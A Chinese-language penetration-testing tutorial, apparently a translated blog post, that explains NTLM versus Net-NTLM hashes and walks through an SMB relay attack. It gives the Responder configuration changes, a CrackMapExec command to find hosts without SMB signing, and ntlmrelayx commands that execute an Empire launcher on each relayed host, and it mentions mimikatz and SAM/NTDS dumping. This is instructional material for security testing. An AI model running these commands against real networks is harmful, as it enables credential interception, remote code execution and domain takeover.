导语:这篇文章通过实际操作帮助读者理清任何关于NTLM中继攻击的混淆……
因为有太多文章讲述了这种攻击的原理,所以在这篇文章中我不会很详细的讲解每一步是做什么的。SANS这篇文章可以先作为这篇文章的背景了解一下:https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python。
在我们深入了解之前,我们先弄清楚下面几个概念。
NTLM、NTLMv1/v2、Net-NTLMv1/v2
这是大部分人混淆的开始点,实际上这不是他们的错,因为几乎所有的文章都在介绍关于NTLMv1/v2的攻击。所以当人们看到Net-NTLMv1/v2时,都会想知道这两者到底是什么关系,到底一样不一样。
长话短说:NTLMv1/v2和Net-NTLMv1/v2是相同的。但是,NTLM和Net-NTLM它们的hash类型则是截然不同。NTLM的hash存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中。它的格式如下:
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
可能和你想得不同,LM的hash值是位于引号之前,NT的hash值是位于引号之后。从Windows VIsta和WIndows2008开始,系统默认值存放NT的hash值。Net—NTLM的hash是用于网络认证(他们的基于用户NT的hash值通过响应的算法产生的)。Net-NTLMv2的格式如下:
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
渗透测试过程中,你可以通过Pass the hash(PTH)攻击得到NTLM的hash值,不过你不可以通过这种方法得到Net-NTLM的hash值。你可以在任何windows操作系统下拖下SAM数据库,或者域控制器的NTDS数据库进而得到NTLM的hash。你也可以通过mimikatz从内存中读取到明文密码,虽然在windows
8.1以上版本你不能得到明文密码,但是你还是可以从内存中得到NTLMhash值的。一些工具可以盗取NThash值,这就意味着我们可以进行PTH攻击。
你可以使用像Responder或者Inveigh这些工具获得Net-NTLMv1/v2的hash。这篇文章就会介绍在普通渗透测试环境中,你得到Net-NTLM的hash之后你能干些什么。
攻击方法
由于ms08-068的修复,你无法将你获得Net-NTLM hash值在同一台机器上使用,除非你可以执行跨协议的中继攻击。但是,你还是可以将这一hash用在另外一个机器上的。先对下面内容做个总结,你完全不需要将你通过Responder获得的hash值进行破解,你可以直接通过这些hash进入其他机器。
这简直是太酷了是不是?你可以将Responder与中继工具结合起来进行使用,这样就可以达到自动拦截并且自动连接的效果。攻击中唯一需要注意的事情是我们正在中继的机器需要关闭SMB签名。除了windows server的系统,其余系统中SMB签名都是默认关闭的。
就个人而言,我认为SMB签名是windows中最被忽视的一个安全大问题,特别是这种攻击,攻击者可以很轻松的搞下这些机器。
配置工具
配置Responder应答,Responder不要使用SpiderLab的版本,因为已经停止维护了,可以使用lgandx进行维护的版本(https://github.com/lgandx/Responder)。修改Responder.conf,将SMB和HTTP服务进行关闭。如下:
[Responder Core] ; Servers to start SQL = On SMB = Off # Turn this off Kerberos = On FTP = On POP = On SMTP = On IMAP = On HTTP = Off # Turn this off HTTPS = On DNS = On LDAP = On
现在你还需要一个中继工具,我渗透测试中经常使用下面两个工具,他们可以被用于进行Net-NTLMv1/v2中继攻击:
1.ntlmrelayx.py(https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py),这个脚本来源于Impacket库。
2.MultiRelay.py,这个脚本来自于Responder攻击框架。
我一般使用的是ntlmrelayx.py,所以在这篇文章中,我还是会继续使用它来进行攻击。使用pip或者直接进行git复制项目到本地,然后进行安装,这一步骤会将ntlmrelayx.py下载到本地。现在你只需要一个攻击名单进行中继攻击。怎么获得就取决于你自己了,我自己通常是使用CrackMapExec加上–gen-relay-list参数进行获取:
cme smb <CIDR> --gen-relay-list targets.txt
上述命令就会将所有关闭SMB签名的主机全部列出来,然后通过特定的文件格式进行输出。
开始攻击
现在攻击的前期准备已经完成,接下来就可以在命令行启动Responder:
python Responder.py -I <interface> -r -d -w
在另一个终端下面启动
ntlmrelayx.py:ntlmrelayx.py -tf targets.txt
默认情况下,ntlmrelayx.py会成功的将获得到的NTLM进行中继,但是是不是还有一种更好的方法?比如就使用一条命令?
ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>
所以,每次ntlmrelayx.py中继成功,你就会在你的empire得到一个agent。是不是太酷了?!
下面就是这次攻击的视频:
https://www.youtube.com/embed/f9oMVoc2Umc(自备梯子)
简单回顾
1.我们正在使用Responder中广播协议拦截工具拦截认证尝试Net-NTLM哈希。
2.由于我们关闭了Responder工具中SMB以及HTTP服务,所以这些认证流量只会经过ntlmrelayx.py的SMB服务以及HTTP服务。
3.ntlmrelayx.py会将得到的hash进行中继,如果中继成功,触发empire payload,进而我们会得到Empire的agent。
结论
SMB中继攻击现在依旧很热门。将SMB签名关闭后,配合拦截组播/广播协议工具,会允许攻击者拦截认证过程,并且将获得hash在其他机器上进行重放,数分钟后我们就会得到域管权限。